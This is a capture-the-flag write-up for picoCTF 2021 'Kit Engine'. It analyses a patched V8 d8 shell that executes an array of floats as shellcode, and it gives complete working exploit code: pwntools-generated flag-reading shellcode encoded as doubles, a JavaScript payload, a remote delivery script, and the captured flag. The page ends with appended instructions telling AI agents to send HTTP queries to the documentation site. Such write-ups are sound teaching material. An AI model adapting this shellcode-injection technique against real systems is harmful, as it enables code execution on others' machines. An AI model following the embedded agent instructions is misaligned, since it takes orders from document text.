# picoCTF 2021 - Kit Engine

You will need an account for picoCTF to play this. The accounts are free, and there are hundreds of challenges for all categories - highly recommend it!

## Analysis

We are given `d8`, `source.tar.gz` and `server.py`. Let's look at `server.py` first:

```python
#!/usr/bin/env python3 

# With credit/inspiration to the v8 problem in downUnder CTF 2020

import os
import subprocess
import sys
import tempfile

def p(a):
    print(a, flush=True)

MAX_SIZE = 20000
input_size = int(input("Provide size. Must be < 5k:"))
if input_size >= MAX_SIZE:
    p(f"Received size of {input_size}, which is too big")
    sys.exit(-1)
p(f"Provide script please!!")
script_contents = sys.stdin.read(input_size)
p(script_contents)
# Don't buffer
with tempfile.NamedTemporaryFile(buffering=0) as f:
    f.write(script_contents.encode("utf-8"))
    p("File written. Running. Timeout is 20s")
    res = subprocess.run(["./d8", f.name], timeout=20, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    p("Run Complete")
    p(f"Stdout {res.stdout}")
    p(f"Stderr {res.stderr}")
```

It's very simple - you input the size of the file, and then you input the file itself. The file contents get written to a javascript file, then run under `./d8` with the output returned. Let's check the source code.

<pre class="language-bash"><code class="lang-bash"><strong>$ 7z x source.tar.gz
</strong>$ tar -xvf source.tar
</code></pre>

The `patch` is as follows:

```git
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..35195b9261 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -979,6 +979,53 @@ struct ModuleResolutionData {
 
 }  // namespace
 
+uint64_t doubleToUint64_t(double d){
+  union {
+    double d;
+    uint64_t u;
+  } conv = { .d = d };
+  return conv.u;
+}
+
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  __asm__("int3");
+}
+
+void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  Isolate* isolate = args.GetIsolate();
+  if(args.Length() != 1) {
+    return;
+  }
+
+  double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  if (func == (double *)-1) {
+    printf("Unable to allocate memory. Contact admin\n");
+    return;
+  }
+
+  if (args[0]->IsArray()) {
+    Local<Array> arr = args[0].As<Array>();
+
+    Local<Value> element;
+    for (uint32_t i = 0; i < arr->Length(); i++) {
+      if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
+        Local<Number> val = element.As<Number>();
+        func[i] = val->Value();
+      }
+    }
+
+    printf("Memory Dump. Watch your endianness!!:\n");
+    for (uint32_t i = 0; i < arr->Length(); i++) {
+      printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
+    }
+
+    printf("Starting your engine!!\n");
+    void (*foo)() = (void(*)())func;
+    foo();
+  }
+  printf("Done\n");
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2248,15 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
+  // Add challenge builtin, and remove some unintented solutions
+  global_template->Set(isolate, "AssembleEngine", FunctionTemplate::New(isolate, AssembleEngine));
+  global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
-
   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write));
-  global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
   if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-  // Prevent fuzzers from creating side effects.
-  if (!i::FLAG_fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
 
 #ifdef V8_FUZZILLI
   global_template->Set(
@@ -2243,11 +2265,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
       FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
 #endif  // V8_FUZZILLI
 
-  if (i::FLAG_expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
-
   return global_template;
 }
 
@@ -2449,10 +2466,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
 
-  isolate->SetHostImportModuleDynamicallyCallback(
+  /*isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
-      Shell::HostInitializeImportMetaObject);
+      Shell::HostInitializeImportMetaObject);*/
 
 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..4591d27f65 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,9 @@ class Shell : public i::AllStatic {
     kNoProcessMessageQueue = false
   };
 
+  static void AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<Value> name, PrintResult print_result,
                             ReportExceptions report_exceptions,
```

This just just generally quite strange. The only particularly relevant part is the new `AssembleEngine()` function:

```cpp
void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
    Isolate* isolate = args.GetIsolate();
    if(args.Length() != 1) {
        return;
    }
    
    double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (func == (double *)-1) {
        printf("Unable to allocate memory. Contact admin\n");
        return;
    }
    
    if (args[0]->IsArray()) {
        Local<Array> arr = args[0].As<Array>();
    
        Local<Value> element;
        for (uint32_t i = 0; i < arr->Length(); i++) {
            if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
                Local<Number> val = element.As<Number>();
                func[i] = val->Value();
            }
        }
    
        printf("Memory Dump. Watch your endianness!!:\n");
        for (uint32_t i = 0; i < arr->Length(); i++) {
            printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
        }
        
        printf("Starting your engine!!\n");
        void (*foo)() = (void(*)())func;
        foo();
    }
    printf("Done\n");
}
```

This is a pretty strange function to have, but the process is simple. FIrst there are a couple of checks, and if they are not passed, they fail:

* Check if the number of arguments is `1`
* Assign 4096 bytes of memory **with RWX permissions**

Then, if the first argument is an array, we cast it to one and store it in `arr`. We then loop through `arr`, and for every index `i`, we store the result in the local variable `element`. If it's a number, it gets written to `func` at a set offset. Essentially, it copies the entirety of `arr` to `func`! With some added checks to make sure the types are correct.

There is then a memory dump of `func`, just to simplify things.

And then finally execution is continued from `func`, like a classic shellcoding challenge!

## Exploitation

This isn't really much of a V8-specific challenge - the data we are input is run as shellcode, and the output is returned to us.

HOWEVER

`val->Value()` actually returns a floating-point value (a `double`), not an integer. Maybe you could get this from the source code, but you could also get it from the `mmap()` line:

```cpp
double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
```

You can see it's all `double` values. This means we have to inject shellcode, but in their floating-point form rather than as integers.

If you've read the [oob-v8 writeup](/notes/binexp/browser-exploitation/ctf-2019-oob-v8/the-challenge.md), you know there are common functions for converting the integers you want to be written to memory to the floating-point form that would write them (and if you haven't, check it out).

```javascript
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
```

So now we just need to get valid shellcode, convert it into 64-bit integers and find the float equivalent. Once we make the array, we simply call `AssembleEngine()` on it and it executes it for us. Easy peasy!

We can't actually interact with the process, only get `stdout` and `stderr`, so we'll have to go to a direct read of `flag.txt`. We can use pwntools to generate the shellcode for this:

```python
from pwn import *

context.os = 'linux'
context.arch = 'amd64'

shellcode = asm(shellcraft.cat('flag.txt'))
```

We want to convert `shellcode` to bytes, then to 64-bit integers so we can transform them to floats. Additionally, the 64-bit integers have to have the bytes **in reverse order** for endiannes! We'll let python do all of that for us:

```python
from pwn import *

# set all the context
context.os = 'linux'
context.arch = 'amd64'

# create the shellcode
shellcode = asm(shellcraft.cat('flag.txt'))
print(shellcode)
# pad it to a multiple of 8 with NOP instructions
# this means the converstion to 8-byte values is smoother
shellcode += b'\x90' * 4

# get the hex codes for every byte and store them as a string in the list
shellcode = [hex(c)[2:].rjust(2, '0') for c in shellcode]
# get the shellcode bytes in packs of 8, in reverse order for endianness, with 0x at the front
eight_bytes = ['0x' + ''.join(shellcode[i:i+8][::-1]) for i in range(0, len(shellcode), 8)]
print(eight_bytes)
```

We can dump this (after minor cleanup) into `exploit.js` and convert the entire list to floats before calling `AssembleEngine()`. Make sure you put the `n` after every 64-bit value, to signify to the javascript that it's a `BigInt` type!

```javascript
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

// needs to have the `n` to be a BigInt value!
payload = [0x66b848240cfe016an, 0x507478742e67616cn, 0xf631e7894858026an, 0x7fffffffba41050fn, 0x016a58286ac68948n, 0x90909090050f995fn]
payload_float = []

for (let i = 0; i < payload.length; i++) {
    payload_float.push(itof(payload[i]))
}

AssembleEngine(payload_float)
```

And finally we can deliver it with a python script using `pwntools`, and parse the input to get the important bit:

```python
from pwn import *

with open("exploit.js", "rb") as f:
    exploit = f.read()

p = remote('mercury.picoctf.net', 48700)
p.sendlineafter(b'5k:', str(len(exploit)).encode())
p.sendlineafter(b'please!!\n', exploit)

p.recvuntil(b"Stdout b'")
flag = p.recvuntil(b"\\")[:-1]
print(flag.decode())
```

And we get the flag:

```
picoCTF{vr00m_vr00m_48f07b402a4020e0}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ir0nstone.gitbook.io/notes/binexp/browser-exploitation/picoctf-2021-kit-engine.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
